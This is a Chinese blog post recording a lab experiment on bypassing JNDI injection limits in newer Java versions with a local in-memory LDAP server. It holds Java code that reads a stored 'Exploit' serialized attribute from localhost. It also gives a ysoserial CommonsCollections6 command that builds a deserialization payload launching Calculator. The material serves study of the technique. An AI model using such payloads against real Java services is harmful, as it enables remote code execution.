JNDI注入高版本绕过——实验分析

原文是:
JNDI注入高版本绕过
JNDI注入高版本绕过

对文章中的“利用LDAP返回序列化数据,触发本地Gadget绕过高版本限制”内容,LDAP_Server代码做实验,其原理就是:启动了一个内存LDAP数据库。

LDAP内存数据库验证:

可以采用两种方式验证,方式一是借助Apache Directory Studio软件,与内存LDAP数据库建立连接。方式二是使用代码读取。

(1) 方式一
在这里插入图片描述
在这里插入图片描述
(2)方式二


import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Properties;

public class InMemoryLDAPTest {

    public void run() throws NamingException {

        DirContext context = getContext();
        // public static final String LDAP_BASE = "dc=example,dc=com";
        String name = LDAP_Server.LDAP_BASE;

        viewAttribute(context, name, "javaClassName");
        viewAttribute(context, name, "javaSerializedData");
    }


    private void viewAttribute(DirContext context, String name, String attrName) throws NamingException {
        Attributes attrs = context.getAttributes(name);
        System.out.println(attrName + ":" + attrs.get(attrName).get());
    }

    private DirContext getContext() throws NamingException {
        Properties properties = new Properties();
        properties.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        properties.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        return new InitialDirContext(properties);
    }

    public static void main(String[] args) throws Exception {
        new InMemoryLDAPTest().run();
    }

}

运行后的输出结果是:

javaClassName:Exploit
javaSerializedData:[B@277050dc

https://github.com/frohoff/ysoserial可以下载得到ysoserial-master-8eb5cbfbf6-1.jar文件。
下面的这个命令可以获取具体base64编码后的结果。

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64

对从LDAP内存数据库中读取到的值,进行解码

    private void viewAttribute(DirContext context, String name, String attrName) throws NamingException {
        Attributes attrs = context.getAttributes(name);
        System.out.println(attrName + ":" + attrs.get(attrName).get());

        if("javaSerializedData".equals(attrName)){
            byte[] result =(byte[]) attrs.get(attrName).get();
            String encodeStr = Base64.encode(result);
            System.out.println(encodeStr);
        }
    }

可以看到encode后的值,与decode时候的一模一样。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值